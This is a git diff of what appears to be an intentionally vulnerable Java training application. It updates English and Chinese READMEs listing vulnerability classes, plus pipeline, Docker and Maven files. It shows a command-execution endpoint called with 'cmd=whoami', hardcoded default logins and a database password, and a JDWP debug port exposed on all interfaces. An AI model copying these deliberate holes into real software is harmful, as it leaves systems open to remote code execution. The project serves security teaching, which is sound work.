diff --git a/.gitignore b/.gitignore
index d83c1fbc..2b8dab5d 100644
--- a/.gitignore
+++ b/.gitignore
@@ -2,4 +2,8 @@
 .DS_Store
 target/
 other-vuls/
-*.iml
\ No newline at end of file
+docker/
+poc/
+src/main/java/org/joychou/test/
+*.iml
+docker_jdk_build.sh
\ No newline at end of file
diff --git a/README.md b/README.md
index 42fb84dd..c1f2eb91 100644
--- a/README.md
+++ b/README.md
@@ -1,78 +1,215 @@
-# Java Security Code
+# Java Sec Code
 
-## 介绍
 
-该项目也可以叫做Java Vulnerability Code(Java漏洞代码)。
+Java sec code is a very powerful and friendly project for learning Java vulnerability code.
 
-每个漏洞类型代码默认存在安全漏洞(除非本身不存在漏洞),相关修复代码在注释里。具体可查看每个漏洞代码和注释。
+[中文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README_zh.md) 😋
 
-## 漏洞代码
+## Recruitment
 
-- [XXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XXE.java)
+[Alibaba-Security attack and defense/research(P5-P7)](https://github.com/JoyChou93/java-sec-code/wiki/Alibaba-Purple-Team-Job-Description)
+
+
+## Introduce
+
+This project can also be called Java vulnerability code. 
+
+Each vulnerability type code has a security vulnerability by default unless there is no vulnerability. The relevant fix code is in the comments or code. Specifically, you can view each vulnerability code and comments.
+
+Due to the server expiration, the online demo site had to go offline.
+
+Login username & password:
+
+```
+admin/admin123
+joychou/joychou123
+```
+
+
+## Vulnerability Code
+
+Sort by letter.
+
+- [Actuators to RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/resources/logback-online.xml)
+- [CommandInject](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CommandInject.java)
+- [CORS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CORS.java)
+- [CRLF Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CRLFInjection.java)
+- [CSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java)
+- [CVE-2022-22978](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java)
+- [Deserialize](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Deserialize.java)
+- [Fastjson](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Fastjson.java)
+- [File Upload](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/FileUpload.java)
+- [GetRequestURI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/GetRequestURI.java)
+- [IP Forge](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/IPForge.java)
+- [Java RMI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/RMI/Server.java)
+- [JSONP](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Jsonp.java)
+- [Log4j](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Log4j.java)
+- [ooxmlXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java)
+- [PathTraversal](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/PathTraversal.java)
+- [QLExpress](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/QLExpress.java)
+- [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java)
+  - Runtime
+  - ProcessBuilder
+  - ScriptEngine
+  - Yaml Deserialize  
+  - Groovy
+- [Shiro](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Shiro.java)
+- [Swagger](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/config/SwaggerConfig.java)
+- [SpEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SpEL.java)
+- [SQL Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java)
 - [SSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java)
-- [URL重定向](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLRedirect.java)
-- [IP伪造](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/IPForge.java)
+- [SSTI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSTI.java)
+- [URL Redirect](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLRedirect.java)
+- [URL whitelist Bypass](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLWhiteList.java)
+- [xlsxStreamerXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java)
 - [XSS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XSS.java)
-- [CRLF注入](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CRLFInjection.java)
-- [远程命令执行](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java)
-- [反序列化](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Deserialize.java)
-- [文件上传](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/FileUpload.java)
-- [SQL注入](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java)
-- [URL白名单Bypass](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLWhiteList.java)
-- [Java RMI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/RMI/Server.java)
-- [Fastjson](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Fastjson.java)
-- [CORS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CORS.java)
-- [JSONP](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/JSONP.java)
+- [XStream](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XStreamRce.java)
+- [XXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XXE.java)
+- [JWT](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Jwt.java)
 
 
-## 漏洞说明
+## Vulnerability Description
 
+- [Actuators to RCE](https://github.com/JoyChou93/java-sec-code/wiki/Actuators-to-RCE)
+- [CORS](https://github.com/JoyChou93/java-sec-code/wiki/CORS)
+- [CSRF](https://github.com/JoyChou93/java-sec-code/wiki/CSRF)
+- [Deserialize](https://github.com/JoyChou93/java-sec-code/wiki/Deserialize)
+- [Fastjson](https://github.com/JoyChou93/java-sec-code/wiki/Fastjson)
 - [Java RMI](https://github.com/JoyChou93/java-sec-code/wiki/Java-RMI)
-- [XXE](https://github.com/JoyChou93/java-sec-code/wiki/XXE)
+- [JSONP](https://github.com/JoyChou93/java-sec-code/wiki/JSONP)
+- [POI-OOXML XXE](https://github.com/JoyChou93/java-sec-code/wiki/Poi-ooxml-XXE)
 - [SQLI](https://github.com/JoyChou93/java-sec-code/wiki/SQL-Inject)
-- [Fastjson](https://github.com/JoyChou93/java-sec-code/wiki/Fastjson)
+- [SSRF](https://github.com/JoyChou93/java-sec-code/wiki/SSRF)
+- [SSTI](https://github.com/JoyChou93/java-sec-code/wiki/SSTI)
+- [URL whitelist Bypass](https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass)
+- [XXE](https://github.com/JoyChou93/java-sec-code/wiki/XXE)
+- [JWT](https://github.com/JoyChou93/java-sec-code/wiki/JWT)
 - [Others](https://github.com/JoyChou93/java-sec-code/wiki/others)
 
+## How to run
 
-## 如何运行
+The application will use mybatis auto-injection. Please run mysql server ahead of time and configure the mysql server database's name and username/password except docker environment.
 
+``` 
+spring.datasource.url=jdbc:mysql://127.0.0.1:3306/java_sec_code
+spring.datasource.username=root
+spring.datasource.password=woshishujukumima
+```
 
-### Tomcat
+- Docker
+- IDEA
+- Tomcat
+- JAR
 
-1. 生成war包 `mvn clean package`
-2. 将target目录的war包,cp到Tomcat的webapps目录
-3. 重启Tomcat应用
+### Docker
 
 
-```
-http://localhost:8080/java-sec-code-1.0.0/rce/exec?cmd=whoami
-```
- 
-返回
+Start docker:
 
 ``` 
-Viarus
+docker-compose pull
+docker-compose up
 ```
 
-### IDEA
 
-如果想在IDEA中直接运行,需要在IDEA中添加Tomcat配置,步骤如下:
+Stop docker:
 
 ```
-Run -> Edit Configurations -> 添加TomcatServer(Local) -> Server中配置Tomcat路径 -> Deployment中添加Artifact选择java-sec-code:war exploded
+docker-compose down
 ```
 
-![tomcat](https://github.com/JoyChou93/java-sec-code/raw/master/idea-tomcat.png)
+Docker's environment:
+
+- Java 1.8.0_102
+- Mysql 8.0.17
+- Tomcat 8.5.11
 
-配置完成后,右上角直接点击run,即可运行。
+
+### IDEA
+
+- `git clone https://github.com/JoyChou93/java-sec-code`
+- Open in IDEA and click `run` button.
+
+Example:
 
 ```
 http://localhost:8080/rce/exec?cmd=whoami
 ```
- 
-返回
 
-``` 
+return:
+
+```
 Viarus
 ```
 
+### Tomcat
+
+- `git clone https://github.com/JoyChou93/java-sec-code` & `cd java-sec-code`
+- Build war package by `mvn clean package`.
+- Copy war package to tomcat webapps directory.
+- Start tomcat application.
+
+Example:
+
+```
+http://localhost:8080/java-sec-code-1.0.0/rce/runtime/exec?cmd=whoami
+```
+
+return:
+
+```
+Viarus
+```
+
+
+### JAR
+
+Change `war` to `jar` in `pom.xml`.
+
+```xml
+<groupId>sec</groupId>
+<artifactId>java-sec-code</artifactId>
+<version>1.0.0</version>
+<packaging>war</packaging>
+```
+
+Build package and run.
+
+```
+git clone https://github.com/JoyChou93/java-sec-code
+cd java-sec-code
+mvn clean package -DskipTests 
+java -jar target/java-sec-code-1.0.0.jar
+```
+
+## Authenticate
+
+### Login
+
+[http://localhost:8080/login](http://localhost:8080/login)
+
+If you are not logged in, accessing any page will redirect you to the login page. The username & password are as follows.
+
+```
+admin/admin123
+joychou/joychou123
+```
+
+### Logout
+
+[http://localhost:8080/logout](http://localhost:8080/logout)
+
+### RememberMe
+
+Tomcat's default JSESSION session is valid for 30 minutes, so a 30-minute non-operational session will expire. In order to solve this problem, the rememberMe function is introduced, and the default expiration time is 2 weeks.
+
+
+## Contributors
+
+Core developers : [JoyChou](https://github.com/JoyChou93), [liergou9981](https://github.com/liergou9981)
+Other developers: [lightless](https://github.com/lightless233),  [Anemone95](https://github.com/Anemone95), [waderwu](https://github.com/waderwu). 
+
+
+## Support
+
+If you like the poject, you can star java-sec-code project to support me. With your support, I will be able to make `Java sec code` better 😎.
diff --git a/README_zh.md b/README_zh.md
new file mode 100644
index 00000000..b5c658c3
--- /dev/null
+++ b/README_zh.md
@@ -0,0 +1,205 @@
+# Java Sec Code
+
+对于学习Java漏洞代码来说,`Java Sec Code`是一个非常强大且友好的项目。
+
+[英文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README.md) 😋
+
+## 招聘
+
+[Alibaba招聘-安全攻防/研究(P5-P7)](https://github.com/JoyChou93/java-sec-code/wiki/Alibaba-Purple-Team-Job-Description)
+
+## 介绍
+
+该项目也可以叫做Java Vulnerability Code(Java漏洞代码)。
+
+每个漏洞类型代码默认存在安全漏洞(除非本身不存在漏洞),相关修复代码在注释里。具体可查看每个漏洞代码和注释。
+
+由于服务器到期,在线的Demo网站已不能使用。
+
+登录用户名密码:
+
+```
+admin/admin123
+joychou/joychou123
+```
+
+## 漏洞代码
+
+- [Actuators to RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/resources/logback-online.xml)
+- [CommandInject](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CommandInject.java)
+- [CORS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CORS.java)
+- [CRLF Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CRLFInjection.java)
+- [CSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java)
+- [CVE-2022-22978](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java)
+- [Deserialize](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Deserialize.java)
+- [Fastjson](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Fastjson.java)
+- [File Upload](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/FileUpload.java)
+- [IP Forge](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/IPForge.java)
+- [Java RMI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/RMI/Server.java)
+- [JSONP](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/jsonp/JSONP.java)
+- [Log4j](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Log4j.java)
+- [ooxmlXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java)
+- [PathTraversal](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/PathTraversal.java)
+- [QLExpress](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/QLExpress.java)
+- [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java)
+    - Runtime
+    - ProcessBuilder  
+    - ScriptEngine
+    - Yaml Deserialize
+    - Groovy
+- [Shiro](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Shiro.java)
+- [SpEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SpEL.java)
+- [SQL Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java)
+- [SSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java)
+- [SSTI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSTI.java)
+- [URL Redirect](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLRedirect.java)
+- [URL whitelist Bypass](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLWhiteList.java)
+- [xlsxStreamerXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java)
+- [XSS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XSS.java)
+- [XStream](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XStreamRce.java)
+- [XXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XXE.java)
+- [JWT](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Jwt.java)
+
+## 漏洞说明
+
+- [Actuators to RCE](https://github.com/JoyChou93/java-sec-code/wiki/Actuators-to-RCE)
+- [CORS](https://github.com/JoyChou93/java-sec-code/wiki/CORS)
+- [CSRF](https://github.com/JoyChou93/java-sec-code/wiki/CSRF)
+- [Deserialize](https://github.com/JoyChou93/java-sec-code/wiki/Deserialize)
+- [Fastjson](https://github.com/JoyChou93/java-sec-code/wiki/Fastjson)
+- [Java RMI](https://github.com/JoyChou93/java-sec-code/wiki/Java-RMI)
+- [JSONP](https://github.com/JoyChou93/java-sec-code/wiki/JSONP)
+- [POI-OOXML XXE](https://github.com/JoyChou93/java-sec-code/wiki/Poi-ooxml-XXE)
+- [SQLI](https://github.com/JoyChou93/java-sec-code/wiki/SQL-Inject)
+- [SSRF](https://github.com/JoyChou93/java-sec-code/wiki/SSRF)
+- [SSTI](https://github.com/JoyChou93/java-sec-code/wiki/SSTI)
+- [URL whitelist Bypass](https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass)
+- [XXE](https://github.com/JoyChou93/java-sec-code/wiki/XXE)
+- [JWT](https://github.com/JoyChou93/java-sec-code/wiki/JWT)  
+- [Others](https://github.com/JoyChou93/java-sec-code/wiki/others)
+
+
+## 如何运行
+
+应用会用到mybatis自动注入,请提前运行mysql服务,并且配置mysql服务的数据库名称和用户名密码(除非是Docker环境)。
+
+``` 
+spring.datasource.url=jdbc:mysql://127.0.0.1:3306/java_sec_code
+spring.datasource.username=root
+spring.datasource.password=woshishujukumima
+```
+
+- Docker
+- IDEA
+- Tomcat
+- JAR
+
+### Docker
+
+开启应用:
+
+``` 
+docker-compose pull
+docker-compose up
+```
+
+关闭应用:
+
+```
+docker-compose down
+```
+
+Docker环境:
+
+- Java 1.8.0_102
+- Mysql 8.0.17
+- Tomcat 8.5.11
+
+### IDEA
+
+- `git clone https://github.com/JoyChou93/java-sec-code`
+- 在IDEA中打开,直接点击run按钮即可运行。
+
+例子:
+
+```
+http://localhost:8080/rce/exec?cmd=whoami
+```
+ 
+返回:
+
+``` 
+Viarus
+```
+
+### Tomcat
+
+1. `git clone https://github.com/JoyChou93/java-sec-code & cd java-sec-code`
+2. 生成war包 `mvn clean package`
+3. 将target目录的war包,cp到Tomcat的webapps目录
+4. 重启Tomcat应用
+
+
+例子:
+
+```
+http://localhost:8080/java-sec-code-1.0.0/rce/runtime/exec?cmd=whoami
+```
+ 
+返回:
+
+``` 
+Viarus
+```
+
+
+### JAR包
+
+
+先修改pom.xml里的配置,将war改成jar。
+
+``` 
+    <groupId>sec</groupId>
+    <artifactId>java-sec-code</artifactId>
+    <version>1.0.0</version>
+    <packaging>war</packaging>
+```
+
+再打包运行即可。
+
+```
+git clone https://github.com/JoyChou93/java-sec-code
+cd java-sec-code
+mvn clean package -DskipTests 
+java -jar 打包后的jar包路径
+```
+
+## 认证
+
+### 登录
+
+[http://localhost:8080/login](http://localhost:8080/login)
+
+如果未登录,访问任何页面都会重定向到login页面。用户名和密码如下。
+
+```
+admin/admin123
+joychou/joychou123
+```
+### 登出
+
+[http://localhost:8080/logout](http://localhost:8080/logout)
+
+### 记住我
+
+Tomcat默认JSESSION会话有效时间为30分钟,所以30分钟不操作会话将过期。为了解决这一问题,引入rememberMe功能,默认过期时间为2周。
+
+
+## 贡献者
+
+核心开发者: [JoyChou](https://github.com/JoyChou93).其他开发者:[lightless](https://github.com/lightless233),  [Anemone95](https://github.com/Anemone95)。欢迎各位提交PR。
+
+## 支持
+
+如果你喜欢这个项目,你可以star该项目支持我。 有了你的支持,我将能够更好地制作`Java sec code`项目。
+
diff --git a/azure-pipelines.yml b/azure-pipelines.yml
new file mode 100644
index 00000000..55c46e06
--- /dev/null
+++ b/azure-pipelines.yml
@@ -0,0 +1,30 @@
+# Starter pipeline
+# Start with a minimal pipeline that you can customize to build and deploy your code.
+# Add steps that build, run tests, deploy, and more:
+# https://aka.ms/yaml
+
+trigger:
+- main
+
+pool: Default
+variables:
+  - name: COVERITY_TOOL_HOME
+    value: C:\Test\cov-analysis-win64-2024.9.1
+
+jobs:
+- job: BAC_SARIF
+  steps:
+  - script: cov-capture --dir idir --source-dir .
+  - script: cov-analyze --dir idir --all
+  - script: cov-commit-defects --dir idir --url https://coverity.field-test.blackduck.com --auth-key-file C:/Test/auth-key.txt --stream java-pipe-ryan
+#- job: SARIF
+#  dependsOn: BAC
+#  steps:
+  - script: cov-format-errors --dir idir --json-output-v10 issues.json
+  - script: C:\Test\cov-analysis-win64-2024.9.1\node\node.exe C:\Test\cov-analysis-win64-2024.9.1\SARIF\cov-format-sarif-for-github.js --inputFile issues.json --outputFile issue-report.sarif --githubUrl https://github.com --repoName autumn0914/java-sec-code-demo --checkoutPath autumn0914/java-sec-code-demo . 033dbbad71a9d2923ac6cca7b3c62e8d4aa1e5ef
+  - script: tar -a -c -f  CodeAnalysisLogs.zip issue-report.sarif
+  - task: PublishBuildArtifacts@1
+    displayName: 'Publish SARIF Report'
+    inputs:
+      PathtoPublish: 'issue-report.sarif'
+      ArtifactName: CodeAnalysisLogs
\ No newline at end of file
diff --git a/docker-compose.yml b/docker-compose.yml
new file mode 100644
index 00000000..643c7e04
--- /dev/null
+++ b/docker-compose.yml
@@ -0,0 +1,15 @@
+version : '3'
+services:
+    jsc:
+        image: joychou/jsc:latest
+        command: ["java", "-Xdebug", "-Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=0.0.0.0:8000", "-jar", "jsc.jar"]
+        ports:
+            - "8080:8080"
+            - "8000:8000"
+        links:
+            - j_mysql
+
+    j_mysql:
+        image: joychou/jsc_mysql:8.4.3
+        ports:
+            - "3306:3306"
diff --git a/idea-tomcat.png b/idea-tomcat.png
deleted file mode 100644
index 5d0504f4..00000000
Binary files a/idea-tomcat.png and /dev/null differ
diff --git a/java-sec-code.iml b/java-sec-code.iml
index bb761497..5c58c92b 100644
--- a/java-sec-code.iml
+++ b/java-sec-code.iml
@@ -1,82 +1,14 @@
 <?xml version="1.0" encoding="UTF-8"?>
-<module org.jetbrains.idea.maven.project.MavenProjectsManager.isMavenModule="true" type="JAVA_MODULE" version="4">
+<module version="4">
+  <component name="AdditionalModuleElements">
+    <content url="file://$MODULE_DIR$" dumb="true">
+      <sourceFolder url="file://$MODULE_DIR$/spring-cloud-gateway-helloworld" isTestSource="false" />
+      <sourceFolder url="file://$MODULE_DIR$/src/main/test" isTestSource="true" />
+    </content>
+  </component>
   <component name="FacetManager">
     <facet type="Spring" name="Spring">
       <configuration />
     </facet>
-    <facet type="web" name="Web">
-      <configuration>
-        <webroots>
-          <root url="file://$MODULE_DIR$/src/main/webapp" relative="/" />
-        </webroots>
-      </configuration>
-    </facet>
-  </component>
-  <component name="NewModuleRootManager" LANGUAGE_LEVEL="JDK_1_6">
-    <output url="file://$MODULE_DIR$/target/classes" />
-    <output-test url="file://$MODULE_DIR$/target/test-classes" />
-    <content url="file://$MODULE_DIR$">
-      <sourceFolder url="file://$MODULE_DIR$/src/main/java" isTestSource="false" />
-      <sourceFolder url="file://$MODULE_DIR$/src/main/resources" type="java-resource" />
-      <excludeFolder url="file://$MODULE_DIR$/target" />
-    </content>
-    <orderEntry type="inheritedJdk" />
-    <orderEntry type="sourceFolder" forTests="false" />
-    <orderEntry type="library" name="Maven: org.springframework.boot:spring-boot-starter-web:1.5.1.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: org.springframework.boot:spring-boot-starter:1.5.1.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: org.springframework.boot:spring-boot:1.5.1.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: org.springframework.boot:spring-boot-autoconfigure:1.5.1.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: org.springframework.boot:spring-boot-starter-logging:1.5.1.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: ch.qos.logback:logback-classic:1.1.9" level="project" />
-    <orderEntry type="library" name="Maven: ch.qos.logback:logback-core:1.1.9" level="project" />
-    <orderEntry type="library" name="Maven: org.slf4j:jcl-over-slf4j:1.7.22" level="project" />
-    <orderEntry type="library" name="Maven: org.slf4j:jul-to-slf4j:1.7.22" level="project" />
-    <orderEntry type="library" name="Maven: org.slf4j:log4j-over-slf4j:1.7.22" level="project" />
-    <orderEntry type="library" name="Maven: org.springframework:spring-core:4.3.6.RELEASE" level="project" />
-    <orderEntry type="library" scope="RUNTIME" name="Maven: org.yaml:snakeyaml:1.17" level="project" />
-    <orderEntry type="library" name="Maven: org.hibernate:hibernate-validator:5.3.4.Final" level="project" />
-    <orderEntry type="library" name="Maven: javax.validation:validation-api:1.1.0.Final" level="project" />
-    <orderEntry type="library" name="Maven: org.jboss.logging:jboss-logging:3.3.0.Final" level="project" />
-    <orderEntry type="library" name="Maven: com.fasterxml:classmate:1.3.3" level="project" />
-    <orderEntry type="library" name="Maven: com.fasterxml.jackson.core:jackson-databind:2.8.6" level="project" />
-    <orderEntry type="library" name="Maven: com.fasterxml.jackson.core:jackson-annotations:2.8.0" level="project" />
-    <orderEntry type="library" name="Maven: com.fasterxml.jackson.core:jackson-core:2.8.6" level="project" />
-    <orderEntry type="library" name="Maven: org.springframework:spring-web:4.3.6.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: org.springframework:spring-aop:4.3.6.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: org.springframework:spring-beans:4.3.6.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: org.springframework:spring-context:4.3.6.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: org.springframework:spring-webmvc:4.3.6.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: org.springframework:spring-expression:4.3.6.RELEASE" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: org.apache.tomcat:tomcat-servlet-api:8.0.36" level="project" />
-    <orderEntry type="library" name="Maven: org.springframework.boot:spring-boot-starter-thymeleaf:1.5.1.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: org.thymeleaf:thymeleaf-spring4:2.1.5.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: org.thymeleaf:thymeleaf:2.1.5.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: ognl:ognl:3.0.8" level="project" />
-    <orderEntry type="library" name="Maven: org.javassist:javassist:3.21.0-GA" level="project" />
-    <orderEntry type="library" name="Maven: org.unbescape:unbescape:1.1.0.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: org.slf4j:slf4j-api:1.7.22" level="project" />
-    <orderEntry type="library" name="Maven: nz.net.ultraq.thymeleaf:thymeleaf-layout-dialect:1.4.0" level="project" />
-    <orderEntry type="library" name="Maven: org.codehaus.groovy:groovy:2.4.7" level="project" />
-    <orderEntry type="library" name="Maven: mysql:mysql-connector-java:8.0.12" level="project" />
-    <orderEntry type="library" name="Maven: com.google.protobuf:protobuf-java:2.6.0" level="project" />
-    <orderEntry type="library" name="Maven: com.alibaba:fastjson:1.2.24" level="project" />
-    <orderEntry type="library" name="Maven: org.jdom:jdom2:2.0.6" level="project" />
-    <orderEntry type="library" name="Maven: org.dom4j:dom4j:2.1.1" level="project" />
-    <orderEntry type="library" name="Maven: com.google.guava:guava:21.0" level="project" />
-    <orderEntry type="library" name="Maven: commons-collections:commons-collections:3.1" level="project" />
-    <orderEntry type="library" name="Maven: commons-lang:commons-lang:2.4" level="project" />
-    <orderEntry type="library" name="Maven: org.apache.httpcomponents:httpclient:4.3.6" level="project" />
-    <orderEntry type="library" name="Maven: org.apache.httpcomponents:httpcore:4.4.6" level="project" />
-    <orderEntry type="library" name="Maven: commons-codec:commons-codec:1.10" level="project" />
-    <orderEntry type="library" name="Maven: org.apache.httpcomponents:fluent-hc:4.3.6" level="project" />
-    <orderEntry type="library" name="Maven: commons-logging:commons-logging:1.1.3" level="project" />
-    <orderEntry type="library" name="Maven: org.apache.logging.log4j:log4j-core:2.8.2" level="project" />
-    <orderEntry type="library" name="Maven: org.apache.logging.log4j:log4j-api:2.7" level="project" />
-    <orderEntry type="library" name="Maven: com.squareup.okhttp:okhttp:2.5.0" level="project" />
-    <orderEntry type="library" name="Maven: com.squareup.okio:okio:1.6.0" level="project" />
-    <orderEntry type="library" name="Maven: org.apache.commons:commons-digester3:3.2" level="project" />
-    <orderEntry type="library" name="Maven: cglib:cglib:2.2.2" level="project" />
-    <orderEntry type="library" name="Maven: asm:asm:3.3.1" level="project" />
-    <orderEntry type="library" name="Maven: commons-beanutils:commons-beanutils:1.9.3" level="project" />
   </component>
 </module>
\ No newline at end of file
diff --git a/pom.xml b/pom.xml
index a12f8f37..c62d938c 100644
--- a/pom.xml
+++ b/pom.xml
@@ -7,7 +7,12 @@
     <groupId>sec</groupId>
     <artifactId>java-sec-code</artifactId>
     <version>1.0.0</version>
-    <packaging>war</packaging>
+    <packaging>jar</packaging>
+
+    <properties>
+        <maven.compiler.source>1.8</maven.compiler.source> <!-- mvn clean package-->
+        <maven.compiler.target>1.8</maven.compiler.target>
+    </properties>
 
 
     <parent>
@@ -20,22 +25,8 @@
         <dependency>
             <groupId>org.springframework.boot</groupId>
             <artifactId>spring-boot-starter-web</artifactId>
-            <!-- 移除嵌入式tomcat插件,为了使用非嵌入式的tomcat -->
-            <exclusions>
-                <exclusion>
-                    <groupId>org.springframework.boot</groupId>
-                    <artifactId>spring-boot-starter-tomcat</artifactId>
-                </exclusion>
-            </exclusions>
         </dependency>
 
-        <!-- 添加tomcat servlet api -->
-        <dependency>
-            <groupId>org.apache.tomcat</groupId>
-            <artifactId>tomcat-servlet-api</artifactId>
-            <version>8.0.36</version>
-            <scope>provided</scope>
-        </dependency>
 
         <!-- 添加thymeleaf为了动态解析html-->
         <dependency>
@@ -71,7 +62,7 @@
         <dependency>
             <groupId>org.dom4j</groupId>
             <artifactId>dom4j</artifactId>
-            <version>2.1.1</version>
+            <version>2.1.0</version>
         </dependency>
 
 
@@ -79,13 +70,7 @@
         <dependency>
             <groupId>com.google.guava</groupId>
             <artifactId>guava</artifactId>
-            <version>21.0</version>
-        </dependency>
-
-        <dependency>
-            <groupId>com.google.guava</groupId>
-            <artifactId>guava</artifactId>
-            <version>21.0</version>
+            <version>23.0</version>
         </dependency>
 
         <dependency>
@@ -102,8 +87,9 @@
         <dependency>
             <groupId>org.apache.httpcomponents</groupId>
             <artifactId>httpclient</artifactId>
-            <version>4.3.6</version>
+            <version>4.5.12</version>
